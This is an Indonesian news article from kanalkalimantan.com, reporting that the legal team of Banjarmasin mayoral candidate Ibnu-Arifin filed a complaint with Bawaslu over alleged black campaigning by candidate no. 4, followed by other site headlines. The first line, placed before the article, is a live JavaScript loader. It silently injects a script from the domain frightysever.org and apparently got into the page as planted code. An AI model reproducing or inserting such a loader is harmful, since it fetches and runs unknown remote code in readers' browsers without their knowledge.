(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tim Kuasa Hukum Ibnu-Arifin, calon Wali Kota Banjarmasin, sambangi Bawaslu Kota Banjarmasin, Rabu (14/4/2021). Mereka melaporkan terkait dugaan kampanye hitam yang dilalukan oleh paslon nomor urut 4.
Tim Kuasa Hukum Ibnu-Arifin melaporkan dugaan adanya pelanggaran kampanye terselubung yang dilakukan oleh calon Wali Kota No urut 4, disalah satu wilayah Pemilihan Suara Ulang (PSU) yaitu di Kelurahan Mantuil.
Kurniawan, anggota tim kuasa hukum Ibnu-Arifin kepada kanalkalimantan.com mengatakan, kegiatan kampanye itu dibentuk dalam bentuk pengajian.
“Tapi di dalamnya ada ajakan untuk memilih, ada pembagian bahan kampanye, ada pencitraan paslon 04 dan yang sangat kami sayangkan adanya fitnah, ajaran kebencian juga unsur SARA, yang diucapkan oleh salah satu jurkamnya,” ujarnya.
Ia mengatakan, tuduhan yang disampaikan yakni pembagian bansos covid-19 yang curang, lalu adanya penyalahgunaan dana anggaran pembangunan jembatan Pulau Bromo, lalu unsur SARA, yang mengatakan kalau Ibnu Sina merupakan orang Puruk Cahu, dan bukan asli orang Banjarmasin.
“Tujuan tim ini ke Bawaslu Kota Banjarmasin, agar Bawaslu bisa menindak lanjuti adanya kegiatan kampanye yang dilakukan oleh paslon no urut 4 tersebut. Selain itu juga, adanya ujaran-ujaran kebencian yang mengandung unsur SARA tersebut,” ungkap Kurniawan.
Ia berharap dengan adanya black campaign ini, pihak Bawaslu bisa menegakkan aturan yang sebagaimana mestinya. “Supaya jangan sampai ada konflik di lapangan, dan PSU bisa berjalan dengan baik,” harap Kurniawan.
Menyikapi hal tersebut, Bawaslu Kota Banjarmasin, melalui Kordiv Penanganan Pelanggaran Bawaslu Kota Banjarmasin, Subhani mengatakan, telah menerima laporan dari tim kuasa hukum Ibnu-Arifin, terkait adanya dugaan pelanggaran yang dilakukan paslon no urut 4.
“Dari laporan ini, kita akan melakukan kajian awal, yang diperkirakan selama 3 hari. Dalam kajian ini akan dilakukan pemeriksaan, apa bila sudah lengkap akan langsung kita daftarkan, dan apa bila ada kekurangan akan kita minta kelengkapan buktinya,” tambahnya.
Apa bila didapati adanya pelanggaran pidana dan administratif, akan diberikan sanksi sesuai dengan aturan dan ketentuan yang berlaku.
Ia juga berharap, para paslon bisa menjaga kondusifitas PSU ini dan bisa menahan diri agar tidak melakukan hal-hal yang dilarang dalam aturan yang berlaku. “Jangan sampai ada hal-hal yang tidak diinginkan menjelang PSU ini,” pungkas Subhani.(Kanalkalimantan/Tius)
KANALKALIMANTAN.COM, BANJARMASIN - Kantor Wilayah Direktorat Jenderal Pajak Kalimantan Selatan dan Tengah (Kanwil DJP Kalselteng)… Read More
KANALKALIMANTAN.COM - Supercopa de España atau dikenal juga sebagai Piala Super Spanyol kembali hadir untuk… Read More
KANALKALIMANTAN.COM, BARABAI – Meski belum dilantik, Bupati Hulu Sungai Tengah (HST) terpilih, Samsul Rizal berjanji… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang mengatasnamakan diri dari Organisasi Kemasyarakatan Pemuda (OKP) Kalimantan Selatan (Kalsel)… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Partai Persatuan Indonesia (Perindo) Kalimantan Selatan (Kalsel) mengajak seluruh pihak untuk menyukseskan… Read More
KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) memastikan paket stimulus ekonomi berupa potongan tarif listrik 50%… Read More
This website uses cookies.